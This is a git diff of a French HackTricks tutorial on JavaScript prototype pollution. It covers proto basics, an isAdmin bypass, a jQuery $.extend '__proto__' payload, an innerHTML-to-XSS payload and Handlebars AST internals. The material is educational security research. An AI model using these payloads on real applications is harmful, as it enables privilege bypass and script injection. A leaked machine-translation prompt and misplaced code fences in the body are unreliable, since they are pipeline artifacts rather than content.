mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu
This commit is contained in:
parent
acac0ead45
commit
e7ddfe86ba
22 changed files with 1632 additions and 1900 deletions
|
@ -1,32 +1,48 @@
|
|||
# NodeJS - \_\_proto\_\_ & prototype Pollution
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres moyens de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## Objets en JavaScript <a href="#053a" id="053a"></a>
|
||||
|
||||
Tout d'abord, nous devons comprendre `Object`en JavaScript. Un objet est simplement une collection de paires clé-valeur, souvent appelées propriétés de cet objet. Par exemple:
|
||||
Tout d'abord, nous devons comprendre `Object` en JavaScript. Un objet est simplement une collection de paires clé-valeur, souvent appelées propriétés de cet objet. Par exemple :
|
||||
|
||||
![](<../../../.gitbook/assets/image (389) (1).png>)
|
||||
|
||||
En JavaScript, `Object`est un objet de base, le modèle pour tous les objets nouvellement créés. Il est possible de créer un objet vide en passant `null`à `Object.create`. Cependant, le nouvel objet créé aura également un type qui correspond au paramètre passé et hérite de toutes les propriétés de base.
|
||||
En Javascript, `Object` est un objet de base, le modèle pour tous les objets nouvellement créés. Il est possible de créer un objet vide en passant `null` à `Object.create`. Cependant, l'objet nouvellement créé aura également un type qui correspond au paramètre passé et hérite de toutes les propriétés de base.
|
||||
```javascript
|
||||
console.log(Object.create(null)); // prints an empty object
|
||||
```
|
||||
```markdown
|
||||
![](<../../../.gitbook/assets/image (360).png>)
|
||||
|
||||
Précédemment, nous avons appris qu'un objet en javascript est une collection de clés et de valeurs, il est donc logique qu'un objet `null` soit simplement un dictionnaire vide : `{}`.
|
||||
Auparavant, nous avons appris qu'un objet en javascript est une collection de clés et de valeurs, il est donc logique qu'un objet `null` soit juste un dictionnaire vide : `{}`
|
||||
|
||||
## Fonctions / Classes en Javascript <a href="#55dd" id="55dd"></a>
|
||||
|
||||
En Javascript, les concepts de classe et de fonction sont assez interdépendants (la fonction elle-même agit en tant que constructeur pour la classe et la nature réelle n'a pas de concept de "classe" en javascript). Voyons l'exemple suivant :
|
||||
En Javascript, les concepts de classe et de fonction sont assez liés (la fonction elle-même agit comme le constructeur de la classe et la nature réelle n'a pas de concept de "classe" en javascript). Voyons l'exemple suivant :
|
||||
```
|
||||
```javascript
|
||||
function person(fullName, age) {
|
||||
this.age = age;
|
||||
this.fullName = fullName;
|
||||
this.details = function() {
|
||||
return this.fullName + " has age: " + this.age;
|
||||
}
|
||||
this.age = age;
|
||||
this.fullName = fullName;
|
||||
this.details = function() {
|
||||
return this.fullName + " has age: " + this.age;
|
||||
}
|
||||
}
|
||||
```
|
||||
![](<../../../.gitbook/assets/image (361).png>)
|
||||
|
||||
Vous êtes un hacker professionnel, traducteur et écrivain. Vous écrivez tout de manière très claire et aussi concise que possible sans perdre d'informations. Le contenu suivant est extrait d'un livre de piratage sur les techniques de piratage de cloud, de plateformes SaaS, de CI/CD... Le contenu suivant provient du fichier /hive/hacktricks/pentesting-web/deserialization/nodejs-proto-prototype-pollution/README.md. Traduisez le texte anglais pertinent en français et renvoyez la traduction en conservant la syntaxe markdown. Ne traduisez pas les choses comme le code, les noms de techniques de piratage, les noms de plateformes cloud/SaaS (comme Workspace, aws, gcp...), le mot 'leak' et les balises markdown. N'ajoutez également rien d'autre que la traduction et la syntaxe markdown.
|
||||
```javascript
|
||||
var person1 = new person("Satoshi", 70);
|
||||
```
|
||||
|
@ -34,7 +50,7 @@ var person1 = new person("Satoshi", 70);
|
|||
|
||||
## Prototypes en JavaScript <a href="#3843" id="3843"></a>
|
||||
|
||||
Il convient de noter que l'attribut prototype peut être modifié/supprimé lors de l'exécution du code. Par exemple, des fonctions peuvent être ajoutées dynamiquement à la classe :
|
||||
Il est important de noter que l'attribut prototype peut être changé/modifié/supprimé lors de l'exécution du code. Par exemple, des fonctions peuvent être ajoutées dynamiquement à la classe :
|
||||
|
||||
![](<../../../.gitbook/assets/image (363).png>)
|
||||
|
||||
|
@ -46,32 +62,32 @@ Les fonctions de la classe peuvent également être modifiées (comme `toString`
|
|||
|
||||
## Héritage
|
||||
|
||||
Dans un programme basé sur des prototypes, les objets héritent des propriétés/méthodes des classes. Les classes sont dérivées en ajoutant des propriétés/méthodes à une instance d'une autre classe ou en les ajoutant à un objet vide.
|
||||
Dans un programme basé sur les prototypes, les objets héritent des propriétés/méthodes des classes. Les classes sont dérivées en ajoutant des propriétés/méthodes à une instance d'une autre classe ou en les ajoutant à un objet vide.
|
||||
|
||||
Notez que si vous ajoutez une propriété à un objet qui est utilisé comme prototype pour un ensemble d'objets (comme myPersonObj), les objets pour lesquels il est le prototype obtiennent également la nouvelle propriété, mais cette propriété n'est pas imprimée à moins d'être spécifiquement appelée.
|
||||
Notez que, si vous ajoutez une propriété à un objet qui est utilisé comme prototype pour un ensemble d'objets (comme le myPersonObj), les objets pour lesquels il est le prototype obtiennent également la nouvelle propriété, mais cette propriété n'est pas affichée à moins d'être spécifiquement appelée.
|
||||
|
||||
![](<../../../.gitbook/assets/image (366).png>)
|
||||
|
||||
## Pollution de \_\_proto\_\_ <a href="#0d0a" id="0d0a"></a>
|
||||
|
||||
Vous devriez déjà savoir que **chaque objet en JavaScript est simplement une collection de paires clé-valeur** et que **chaque objet hérite du type Object en JavaScript**. Cela signifie que si vous êtes capable de polluer le type Object, **chaque objet JavaScript de l'environnement sera pollué !**
|
||||
Vous devriez déjà savoir que **chaque objet en JavaScript est simplement une collection de paires clé-valeur** et que **chaque objet hérite du type Object en JavaScript**. Cela signifie que si vous êtes capable de polluer le type Object, **chaque objet JavaScript de l'environnement va être pollué !**
|
||||
|
||||
C'est assez simple, il vous suffit de pouvoir modifier certaines propriétés (paires clé-valeur) d'un objet JavaScript arbitraire, car chaque objet hérite du schéma Object.
|
||||
C'est assez simple, vous avez juste besoin de pouvoir modifier certaines propriétés (paires clé-valeur) d'un objet JavaScript arbitraire, car comme chaque objet hérite de Object, chaque objet peut accéder au schéma Object.
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
```
|
||||
À partir de l'exemple précédent, il est possible d'accéder à la structure de l'objet en utilisant les méthodes suivantes :
|
||||
Depuis l'exemple précédent, il est possible d'accéder à la structure de l'Object en utilisant les méthodes suivantes :
|
||||
```javascript
|
||||
person1.__proto__.__proto__
|
||||
person.__proto__.__proto__
|
||||
```
|
||||
Ainsi, comme mentionné précédemment, si une propriété est ajoutée au schéma d'objet, chaque objet JavaScript aura accès à la nouvelle propriété:
|
||||
Donc, comme mentionné précédemment, si maintenant une propriété est ajoutée au schéma Object, chaque objet JavaScript aura accès à la nouvelle propriété :
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
|
@ -81,16 +97,18 @@ person1.printHello() //This now works and prints hello
|
|||
person1.__proto__.__proto__.globalconstant = true
|
||||
person1.globalconstant //This now works and is "true"
|
||||
```
|
||||
Maintenant, chaque objet JS contiendra les nouvelles propriétés : la fonction `printHello` et la nouvelle constante `globalconstant`.
|
||||
```markdown
|
||||
Donc maintenant, chaque objet JS contiendra les nouvelles propriétés : la fonction `printHello` et la nouvelle constante `globalconstant`
|
||||
|
||||
## Pollution de prototype
|
||||
## pollution de prototype
|
||||
|
||||
Cette technique n'est pas aussi efficace que la précédente car vous ne pouvez pas polluer le schéma de l'objet JS. Mais dans les cas où le mot-clé `__proto__` est interdit, cette technique peut être utile.
|
||||
Cette technique n'est pas aussi efficace que la précédente car vous ne pouvez pas polluer le schéma de l'objet JS. Mais dans les cas où **le mot-clé `__proto__` est interdit, cette technique peut être utile**.
|
||||
|
||||
Si vous êtes capable de modifier les propriétés d'une fonction, vous pouvez modifier la propriété `prototype` de la fonction et **chaque nouvelle propriété que vous ajoutez ici sera héritée par chaque objet créé à partir de cette fonction :**
|
||||
Si vous pouvez modifier les propriétés d'une fonction, vous pouvez modifier la propriété `prototype` de la fonction et **chaque nouvelle propriété que vous ajoutez ici sera héritée par chaque objet créé à partir de cette fonction :**
|
||||
```
|
||||
```javascript
|
||||
function person(fullName) {
|
||||
this.fullName = fullName;
|
||||
this.fullName = fullName;
|
||||
}
|
||||
var person1 = new person("Satoshi");
|
||||
//Add function as new property
|
||||
|
@ -104,51 +122,51 @@ person1.newConstant //This now works and is "true"
|
|||
person1.constructor.prototype.sayHello = function(){console.log("Hello");}
|
||||
person1.constructor.prototype.newConstant = true
|
||||
```
|
||||
Dans ce cas, seuls les **objets créés à partir de la classe `person`** seront affectés, mais chacun d'entre eux héritera désormais des propriétés `sayHello` et `newConstant`.
|
||||
Dans ce cas, seuls les **objets créés à partir de la classe `person`** seront affectés, mais chacun d'eux héritera maintenant des propriétés **`sayHello` et `newConstant`**.
|
||||
|
||||
Il y a 2 façons d'exploiter la pollution de prototype pour contaminer CHAQUE objet JS.
|
||||
**Il existe 2 façons d'abuser de la pollution de prototype pour empoisonner CHAQUE objet JS.**
|
||||
|
||||
La première consiste à polluer le prototype de propriété de **Object** (comme mentionné précédemment, chaque objet JS hérite de celui-ci) :
|
||||
La première serait de polluer la propriété prototype de **Object** (comme mentionné précédemment, chaque objet JS hérite de celui-ci) :
|
||||
```javascript
|
||||
Object.prototype.sayBye = function(){console.log("bye!")}
|
||||
```
|
||||
Si vous parvenez à le faire, chaque objet JS pourra exécuter la fonction `sayBye`.
|
||||
Si vous parvenez à faire cela, chaque objet JS pourra exécuter la fonction `sayBye`.
|
||||
|
||||
L'autre méthode consiste à polluer le prototype d'un constructeur d'une variable de dictionnaire comme dans l'exemple suivant:
|
||||
L'autre méthode consiste à empoisonner le prototype d'un constructeur d'une variable de type dictionnaire comme dans l'exemple suivant :
|
||||
```javascript
|
||||
something = {"a": "b"}
|
||||
something.constructor.prototype.sayHey = function(){console.log("Hey!")}
|
||||
```
|
||||
Après l'exécution de ce code, **chaque objet JS sera capable d'exécuter la fonction `sayHey`**.
|
||||
Après avoir exécuté ce code, **chaque objet JS pourra exécuter la fonction `sayHey`**.
|
||||
|
||||
## Pollution d'autres objets
|
||||
## Polluer d'autres objets
|
||||
|
||||
### D'une classe à Object.prototype
|
||||
|
||||
Dans un scénario où vous pouvez **polluer un objet spécifique** et que vous devez **atteindre `Object.prototype`**, vous pouvez le rechercher avec quelque chose comme le code suivant:
|
||||
Dans un scénario où vous pouvez **polluer un objet spécifique** et que vous devez **atteindre `Object.prototype`**, vous pouvez le rechercher avec un code similaire au suivant :
|
||||
```javascript
|
||||
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/
|
||||
|
||||
// Search from "window" object
|
||||
for(let key of Object.getOwnPropertyNames(window)) {
|
||||
if (window[key]?.constructor.prototype === Object.prototype) {
|
||||
console.log(key)
|
||||
}
|
||||
if (window[key]?.constructor.prototype === Object.prototype) {
|
||||
console.log(key)
|
||||
}
|
||||
}
|
||||
|
||||
// Imagine that the original object was document.querySelector('a')
|
||||
// With this code you could find some attributes to get the object "window" from that one
|
||||
for(let key1 in document.querySelector('a')) {
|
||||
for(let key2 in document.querySelector('a')[key1]) {
|
||||
if (document.querySelector('a')[key1][key2] === window) {
|
||||
console.log(key1 + "." + key2)
|
||||
}
|
||||
}
|
||||
for(let key2 in document.querySelector('a')[key1]) {
|
||||
if (document.querySelector('a')[key1][key2] === window) {
|
||||
console.log(key1 + "." + key2)
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### Pollution des éléments d'un tableau
|
||||
|
||||
Notez que comme vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également **polluer les valeurs du tableau** accessibles **par index** (notez que vous ne pouvez pas écraser les valeurs, vous devez donc polluer les index qui sont utilisés d'une manière ou d'une autre mais pas écrits).
|
||||
Notez que tout comme vous pouvez polluer les attributs d'objets en JS, si vous avez accès à la pollution d'un tableau, vous pouvez également **polluer les valeurs du tableau** accessibles **par indices** (notez que vous ne pouvez pas écraser les valeurs, donc vous devez polluer des indices qui sont d'une manière ou d'une autre utilisés mais pas écrits).
|
||||
```javascript
|
||||
c = [1,2]
|
||||
a = []
|
||||
|
@ -160,7 +178,7 @@ c[1] // 2 -- not
|
|||
```
|
||||
### Pollution des éléments HTML
|
||||
|
||||
Lors de la génération d'un élément HTML via JS, il est possible de **remplacer** l'attribut **`innerHTML`** pour écrire du **code HTML arbitraire**. [Idée et exemple tirés de cet article](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
Lors de la génération d'un élément HTML via JS, il est possible de **réécrire** l'attribut **`innerHTML`** pour lui faire écrire **du code HTML arbitraire.** [Idée et exemple tirés de ce compte-rendu](https://blog.huli.tw/2022/04/25/en/intigriti-0422-xss-challenge-author-writeup/).
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```javascript
|
||||
|
@ -177,72 +195,74 @@ settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domai
|
|||
|
||||
## Exemples
|
||||
|
||||
### Exemple de base
|
||||
### Exemple Basique
|
||||
|
||||
Alors où se trouve la pollution de prototype ? Elle se produit lorsqu'il y a un bug dans l'application qui permet de remplacer les propriétés de `Object.prototype`. Étant donné que chaque objet typique hérite de ses propriétés de `Object.prototype`, nous pouvons modifier le comportement de l'application. L'exemple le plus couramment présenté est le suivant :
|
||||
Alors, où se trouve la pollution de prototype ? Elle se produit lorsqu'il y a un bug dans l'application qui permet de réécrire les propriétés de `Object.prototype`. Puisque chaque objet typique hérite de ses propriétés de `Object.prototype`, nous pouvons modifier le comportement de l'application. L'exemple le plus couramment présenté est le suivant :
|
||||
```javascript
|
||||
if (user.isAdmin) { // do something important!}
|
||||
```
|
||||
Imaginez que nous avons une pollution de prototype qui permet de définir `Object.prototype.isAdmin = true`. Ensuite, à moins que l'application n'ait explicitement attribué une valeur, `user.isAdmin` est toujours vrai !
|
||||
Imaginez que nous ayons une pollution de prototype qui permet de définir `Object.prototype.isAdmin = true`. Alors, à moins que l'application n'ait explicitement attribué une valeur, `user.isAdmin` est toujours vrai !
|
||||
|
||||
![](https://research.securitum.com/wp-content/uploads/sites/2/2019/10/image-1.png)
|
||||
|
||||
Par exemple, `obj[a][b] = value`. Si l'attaquant peut contrôler la valeur de `a` et `value`, alors il suffit de régler la valeur de `a` sur `__proto__` (en javascript, `obj["__proto__"]` et `obj.__proto__` sont complètement équivalents) puis la propriété `b` de tous les objets existants dans l'application sera attribuée à `value`.
|
||||
Par exemple, `obj[a][b] = value`. Si l'attaquant peut contrôler la valeur de `a` et `value`, alors il lui suffit d'ajuster la valeur de `a` à `__proto__` (en javascript, `obj["__proto__"]` et `obj.__proto__` sont complètement équivalents) puis la propriété `b` de tous les objets existants dans l'application sera attribuée à `value`.
|
||||
|
||||
Cependant, l'attaque n'est pas aussi simple que celle décrite ci-dessus, selon [le document](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript\_prototype\_pollution\_attack\_in\_NodeJS.pdf), nous ne pouvons attaquer que lorsque l'une des trois conditions suivantes est remplie :
|
||||
Cependant, l'attaque n'est pas aussi simple que celle ci-dessus, selon le [papier](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf), nous ne pouvons attaquer que lorsque l'une des trois conditions suivantes est remplie :
|
||||
|
||||
* Effectuer une fusion récursive
|
||||
* Définition de propriété par chemin
|
||||
* Cloner un objet
|
||||
|
||||
### Remplacement de fonction
|
||||
### Surcharge de fonction
|
||||
```python
|
||||
customer.__proto__.toString = ()=>{alert("polluted")}
|
||||
```
|
||||
### Pollution de prototype pour RCE
|
||||
### Pollution de prototype vers RCE
|
||||
|
||||
{% content-ref url="prototype-pollution-to-rce.md" %}
|
||||
[prototype-pollution-to-rce.md](prototype-pollution-to-rce.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Pollution de prototype côté client pour XSS
|
||||
## Pollution de prototype côté client vers XSS
|
||||
|
||||
{% content-ref url="client-side-prototype-pollution.md" %}
|
||||
[client-side-prototype-pollution.md](client-side-prototype-pollution.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### CVE-2019–11358: Attaque de pollution de prototype via jQuery $ .extend
|
||||
### CVE-2019–11358 : Attaque de pollution de prototype via jQuery $ .extend
|
||||
|
||||
$ .extend, s'il est mal géré, peut changer les propriétés de l'objet `prototype` (le modèle des objets dans l'application). Cet attribut apparaîtra alors sur tous les objets. Notez que seule la version "profonde" (c'est-à-dire g) de $ .extened est affectée.
|
||||
$ .extend, si mal géré, peut modifier les propriétés de l'objet `prototype` (le modèle des objets dans l'application). Cet attribut apparaîtra alors sur tous les objets. Notez que seule la version "profonde" (c'est-à-dire g) de $ .extend est affectée.
|
||||
|
||||
Les programmeurs utilisent souvent cette fonction pour dupliquer un objet ou remplir de nouvelles propriétés à partir d'un objet par défaut. Par exemple:
|
||||
Les programmeurs utilisent souvent cette fonction pour dupliquer un objet ou pour ajouter de nouvelles propriétés à partir d'un objet par défaut. Par exemple :
|
||||
|
||||
Nous pouvons imaginer que `myObject` est un champ d'entrée de l'utilisateur et est sérialisé dans la base de données)
|
||||
Nous pouvons imaginer que `myObject` est un champ de saisie de l'utilisateur et est sérialisé dans la DB)
|
||||
|
||||
Dans ce code, nous pensons souvent, lors de l'exécution, que l'attribut `isAdmin` sera affecté au nouvel objet créé. Mais essentiellement, il est affecté directement à `{}` et ensuite `{}.isAdmin` sera `true`. Si après ce code, nous effectuons la vérification suivante:
|
||||
Dans ce code, nous pensons souvent, lors de l'exécution, que l'attribut `isAdmin` sera assigné au nouvel objet créé. Mais en réalité, il est assigné directement à `{}` et ensuite `{}.isAdmin` sera `true`. Si après ce code, nous effectuons la vérification suivante :
|
||||
```javascript
|
||||
If (user.isAdmin === true) {
|
||||
// do something for admin
|
||||
// do something for admin
|
||||
}
|
||||
```
|
||||
Si l'utilisateur n'existe pas encore (`undefined`), la propriété `isAdmin` sera recherchée dans son objet parent, qui est l'objet ajouté `isAdmin` avec la valeur `true` ci-dessus.
|
||||
```markdown
|
||||
Si l'utilisateur n'existe pas encore (`undefined`), la propriété `isAdmin` sera recherchée dans son objet parent, qui est l'Object auquel `isAdmin` a été ajouté avec la valeur `true` ci-dessus.
|
||||
|
||||
Un autre exemple lorsqu'il est exécuté sur JQuery 3.3.1:
|
||||
Un autre exemple lors de l'exécution sur JQuery 3.3.1 :
|
||||
```
|
||||
```javascript
|
||||
$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'))
|
||||
console.log({}.devMode); // true
|
||||
```
|
||||
Ces erreurs peuvent affecter de nombreux projets Javascript, en particulier les projets NodeJS, l'exemple le plus pratique étant l'erreur de Mongoose, la bibliothèque JS qui aide à manipuler MongoDB, en décembre 2018.
|
||||
Ces erreurs peuvent affecter de nombreux projets Javascript, en particulier les projets NodeJS, l'exemple le plus pratique étant l'erreur dans Mongoose, la bibliothèque JS qui aide à manipuler MongoDB, en décembre 2018.
|
||||
|
||||
### CVE-2018-3721, CVE-2019-10744: Attaque de pollution de prototype via lodash
|
||||
### CVE-2018–3721, CVE-2019–10744 : Attaque de pollution de prototype via lodash
|
||||
|
||||
[Lodash](https://www.npmjs.com/package/lodash) est également une bibliothèque bien connue qui fournit de nombreuses fonctions différentes, nous aidant à écrire du code de manière plus pratique et plus soignée avec plus de 19 millions de téléchargements hebdomadaires. Et il a eu le même problème que JQuery.
|
||||
[Lodash](https://www.npmjs.com/package/lodash) est également une bibliothèque bien connue qui fournit de nombreuses fonctions différentes, nous aidant à écrire du code de manière plus pratique et plus soignée avec plus de 19 millions de téléchargements hebdomadaires. Et il a rencontré le même problème que JQuery.
|
||||
|
||||
**CVE-2018-3721**
|
||||
**CVE-2018–3721**
|
||||
|
||||
**CVE-2019-10744**
|
||||
**CVE-2019–10744**
|
||||
|
||||
Ce bogue affecte toutes les versions de Lodash, déjà corrigé dans la version 4.17.11.
|
||||
Ce bug affecte toutes les versions de Lodash, déjà corrigé dans la version 4.17.11.
|
||||
|
||||
### Un autre tutoriel avec des CVE
|
||||
|
||||
|
@ -250,146 +270,148 @@ Ce bogue affecte toutes les versions de Lodash, déjà corrigé dans la version
|
|||
|
||||
## Pollution de prototype AST
|
||||
|
||||
En NodeJS, AST est utilisé en JS très souvent, comme les moteurs de template et TypeScript, etc.\
|
||||
Pour le moteur de template, la structure est comme indiqué ci-dessus.
|
||||
Dans NodeJS, AST est utilisé très souvent en JS, comme les moteurs de template et typescript etc.\
|
||||
Pour le moteur de template, la structure est comme montré ci-dessus.
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph\_3.jpg)
|
||||
![img](https://blog.p6.is/img/2020/08/graph_3.jpg)
|
||||
|
||||
### Handlebars
|
||||
|
||||
Info prise sur [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
Informations prises de [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/)
|
||||
|
||||
Vous pouvez insérer n'importe quelle chaîne dans `Object.prototype.pendingContent` pour déterminer la possibilité d'une attaque.\
|
||||
Cela vous permet de vous assurer que les serveurs utilisent le moteur de Handlebars lorsqu'une pollution de prototype existe dans un environnement de boîte noire.
|
||||
Cela vous permet d'être sûr que les serveurs utilisent le moteur handlebars lorsqu'une pollution de prototype existe dans un environnement boîte noire.
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js -->
|
||||
|
||||
...
|
||||
appendContent: function appendContent(content) {
|
||||
if (this.pendingContent) {
|
||||
content = this.pendingContent + content;
|
||||
} else {
|
||||
this.pendingLocation = this.source.currentLocation;
|
||||
}
|
||||
if (this.pendingContent) {
|
||||
content = this.pendingContent + content;
|
||||
} else {
|
||||
this.pendingLocation = this.source.currentLocation;
|
||||
}
|
||||
|
||||
this.pendingContent = content;
|
||||
this.pendingContent = content;
|
||||
},
|
||||
pushSource: function pushSource(source) {
|
||||
if (this.pendingContent) {
|
||||
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
|
||||
this.pendingContent = undefined;
|
||||
}
|
||||
if (this.pendingContent) {
|
||||
this.source.push(this.appendToBuffer(this.source.quotedString(this.pendingContent), this.pendingLocation));
|
||||
this.pendingContent = undefined;
|
||||
}
|
||||
|
||||
if (source) {
|
||||
this.source.push(source);
|
||||
}
|
||||
if (source) {
|
||||
this.source.push(source);
|
||||
}
|
||||
}
|
||||
...
|
||||
```
|
||||
Cela est réalisé par la fonction `appendContent` de `javascript-compiler.js`.\
|
||||
`appendContent` est comme suit. Si `pendingContent` est présent, il est ajouté au contenu et renvoyé.
|
||||
```markdown
|
||||
Cela est réalisé par la fonction `appendContent` de `javascript-compiler.js`\
|
||||
`appendContent` fonctionne ainsi. Si `pendingContent` est présent, il l'ajoute au contenu et retourne le résultat.
|
||||
|
||||
`pushSource` rend `pendingContent` indéfini, empêchant ainsi la chaîne d'être insérée plusieurs fois.
|
||||
`pushSource` rend le `pendingContent` à `undefined`, empêchant la chaîne d'être insérée plusieurs fois.
|
||||
|
||||
**Exploitation**
|
||||
**Exploit**
|
||||
|
||||
![img](https://blog.p6.is/img/2020/08/graph\_5.jpg)
|
||||
![img](https://blog.p6.is/img/2020/08/graph_5.jpg)
|
||||
|
||||
Handlebars fonctionne comme indiqué dans le graphique ci-dessus.
|
||||
|
||||
Après la génération de l'AST par le lexer et le parser, il est transmis à `compiler.js`.\
|
||||
Nous pouvons exécuter la fonction de modèle générée par le compilateur avec certains arguments. Et cela renvoie la chaîne comme "Bonjour posix" (lorsque msg est posix).
|
||||
Après que le lexer et le parser génèrent l'AST, il est passé à `compiler.js`\
|
||||
Nous pouvons exécuter la fonction de template générée par le compilateur avec certains arguments. et cela retourne une chaîne comme "Hello posix" (quand msg est posix)
|
||||
```
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js -->
|
||||
|
||||
case 36:
|
||||
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
|
||||
break;
|
||||
this.$ = { type: 'NumberLiteral', value: Number($$[$0]), original: Number($$[$0]), loc: yy.locInfo(this._$) };
|
||||
break;
|
||||
```
|
||||
Le parseur de Handlebars force la valeur d'un nœud dont le type est NumberLiteral à être toujours un nombre grâce au constructeur Number. Cependant, il est possible d'insérer une chaîne non numérique ici en utilisant la pollution de prototype.
|
||||
Le parseur dans handlebars force la valeur d'un nœud dont le type est NumberLiteral à être toujours un nombre via le constructeur Number. Cependant, vous pouvez insérer une chaîne non numérique ici en utilisant la pollution de prototype.
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/base.js -->
|
||||
|
||||
function parseWithoutProcessing(input, options) {
|
||||
// Just return if an already-compiled AST was passed in.
|
||||
if (input.type === 'Program') {
|
||||
return input;
|
||||
}
|
||||
// Just return if an already-compiled AST was passed in.
|
||||
if (input.type === 'Program') {
|
||||
return input;
|
||||
}
|
||||
|
||||
_parser2['default'].yy = yy;
|
||||
_parser2['default'].yy = yy;
|
||||
|
||||
// Altering the shared object here, but this is ok as parser is a sync operation
|
||||
yy.locInfo = function (locInfo) {
|
||||
return new yy.SourceLocation(options && options.srcName, locInfo);
|
||||
};
|
||||
// Altering the shared object here, but this is ok as parser is a sync operation
|
||||
yy.locInfo = function (locInfo) {
|
||||
return new yy.SourceLocation(options && options.srcName, locInfo);
|
||||
};
|
||||
|
||||
var ast = _parser2['default'].parse(input);
|
||||
var ast = _parser2['default'].parse(input);
|
||||
|
||||
return ast;
|
||||
return ast;
|
||||
}
|
||||
|
||||
function parse(input, options) {
|
||||
var ast = parseWithoutProcessing(input, options);
|
||||
var strip = new _whitespaceControl2['default'](options);
|
||||
var ast = parseWithoutProcessing(input, options);
|
||||
var strip = new _whitespaceControl2['default'](options);
|
||||
|
||||
return strip.accept(ast);
|
||||
return strip.accept(ast);
|
||||
}
|
||||
```
|
||||
Tout d'abord, regardez la fonction de compilation, elle prend en charge deux façons d'entrée, l'objet AST et la chaîne de modèle.
|
||||
Tout d'abord, examinez la fonction compile, qui prend en charge deux modes d'entrée, l'objet AST et la chaîne de modèle.
|
||||
|
||||
Lorsque le type d'entrée est un `Program`, bien que la valeur d'entrée soit en réalité une chaîne de caractères.\
|
||||
Le parseur considère qu'elle est déjà analysée en AST par parser.js et l'envoie au compilateur sans aucun traitement.
|
||||
lorsque input.type est un `Program`, bien que la valeur d'entrée soit en réalité une chaîne.\
|
||||
Le Parser considère qu'il s'agit déjà d'un AST analysé par parser.js et l'envoie au compilateur sans aucun traitement.
|
||||
```javascript
|
||||
<!-- /node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js -->
|
||||
|
||||
...
|
||||
accept: function accept(node) {
|
||||
/* istanbul ignore next: Sanity code */
|
||||
if (!this[node.type]) {
|
||||
throw new _exception2['default']('Unknown type: ' + node.type, node);
|
||||
}
|
||||
/* istanbul ignore next: Sanity code */
|
||||
if (!this[node.type]) {
|
||||
throw new _exception2['default']('Unknown type: ' + node.type, node);
|
||||
}
|
||||
|
||||
this.sourceNode.unshift(node);
|
||||
var ret = this[node.type](node);
|
||||
this.sourceNode.shift();
|
||||
return ret;
|
||||
this.sourceNode.unshift(node);
|
||||
var ret = this[node.type](node);
|
||||
this.sourceNode.shift();
|
||||
return ret;
|
||||
},
|
||||
Program: function Program(program) {
|
||||
console.log((new Error).stack)
|
||||
this.options.blockParams.unshift(program.blockParams);
|
||||
console.log((new Error).stack)
|
||||
this.options.blockParams.unshift(program.blockParams);
|
||||
|
||||
var body = program.body,
|
||||
bodyLength = body.length;
|
||||
for (var i = 0; i < bodyLength; i++) {
|
||||
this.accept(body[i]);
|
||||
}
|
||||
var body = program.body,
|
||||
bodyLength = body.length;
|
||||
for (var i = 0; i < bodyLength; i++) {
|
||||
this.accept(body[i]);
|
||||
}
|
||||
|
||||
this.options.blockParams.shift();
|
||||
this.options.blockParams.shift();
|
||||
|
||||
this.isSimple = bodyLength === 1;
|
||||
this.blockParams = program.blockParams ? program.blockParams.length : 0;
|
||||
this.isSimple = bodyLength === 1;
|
||||
this.blockParams = program.blockParams ? program.blockParams.length : 0;
|
||||
|
||||
return this;
|
||||
return this;
|
||||
}
|
||||
```
|
||||
